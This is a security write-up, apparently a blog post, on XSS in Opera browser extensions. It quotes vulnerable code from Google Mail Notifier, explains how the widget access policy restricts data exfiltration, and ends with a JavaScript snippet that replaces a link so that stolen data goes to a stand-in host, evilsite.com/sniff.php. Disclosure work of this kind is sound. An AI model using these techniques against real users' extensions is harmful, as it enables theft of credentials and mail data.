The hole

There is difference between Google Chrome and Opera in case of default restriction level for working with external resources inside extension. Lets look on Google Mail Notifier extension. It is amazing but this one also had a same vulnerability as one in Google Chrome - insecure usage of input user data which causes attack called XSS. In our case the malicious man sends a special letter with payload in subject or letter's body to the victim. Then when the victim checks mail with this extension payload will be executed.

Vulnerable piece of code (js/menu.js):

...
// Check if there are Messages to display
if(event.data.msg && event.data.msg.length > 0)
{
    // Add every message
    for(var i=0; i < event.data.msg.length; i++)
    {
        var tooltip = "<div class='tooltip'><p><u>"+ lang.popup_to + " " +
        event.data.msg[i].sendermail + "</u><br/>" +
        lang.popup_from + " " + event.data.msg[i].authormail +
        "<br/><br/></p><p>" + event.data.msg[i].summary + "</p>"

        var msg = $('<div></div>').addClass('message').attr("title", tooltip).tooltip({
            left: -15
        })
        .html("<strong>" + event.data.msg[i].authorname + "</strong> : " + event.data.msg[i].title).click({
            link: event.data.msg[i].link
        }, LoadLink);
        $('#message_box').append(msg);
...

Typical injection point in such cases is popup window (same in Google Chrome) because usually content of this window is made by background page using input data (e.g. RSS feeds or e-mail). But, IMHO, it can be possible in case of processing input JSON data to use dangerous constructions for that, e.g. JavaScript function eval like:

var msg = eval("(" + response_text + ")");

instead of

var msg = JSON.parse(response_text);

In such scenario malicious playloada will be executed in context of background page.

Target data

One of the most popular aims of XSS is stealing of private data (e.g. auth data). At current moment Opera does not allows extensions to access browser cookie (each extension has separated cookie storage). So following data may be interesting for malicious man through XSS attack:

• current extension cookies (in very big number of social site extension it is auth data);
• widget.preferences data - for example, there are username and password in Reddit Envelope extension preferences
• context data - in our example with Google Notifier it can be letters data (sender, subject)
• phishing - even in limited context malicious man can use this hole to phish users

How to transfer data

Usually it can be made using "sniffer script" - in payload malicious man simple gets sniffer URL with dumped data as parameter. In our case by default it is not trivial:

In the default policy, a user agent must deny access to network resources external to the widget by default, whether this access is requested through APIs (e.g. XMLHttpRequest) or through markup (e.g. iframe, script, img). [2]

Tested extension has in config file following access rules:

...
<!-- Access Policy -->
<access origin="https://mail.google.com"/>
<access origin="https://www.google.com"/>
...

The <access> element allows authors permission to access external web resources. It means that if extension needs to load some data from outside (like a web resource) then it needs to be specified in this option. Even if you simply try to inject IMG tag with URL which differs from these two this image will not be shown in popup (In my example I used Google logo from www.google.com which is in rules). There are two possible cases which can be usable for attacking:

• extension author can use an asterisk (*) as origin to specify unrestricted access to network resources
• "subdomains" attribute that indicates whether or not the host component part of the access request applies to subdomain

There is another trick - malicious man can make a link or some more attractive UI control with arbitrary URL. So when end user clicks on it dumped data will be transfered to badman:

//...
var a = document.createElement('a');
var d = document.getElementById('open');
a.href = "http://evilsite.com/sniff.php?d=...";
a.id = "foo";
a.innerText = 'Open GMail Tab';
d.parentNode.replaceChild(a, d);

[2]	"Widget Access Request Policy", http://www.w3.org/TR/widgets-access/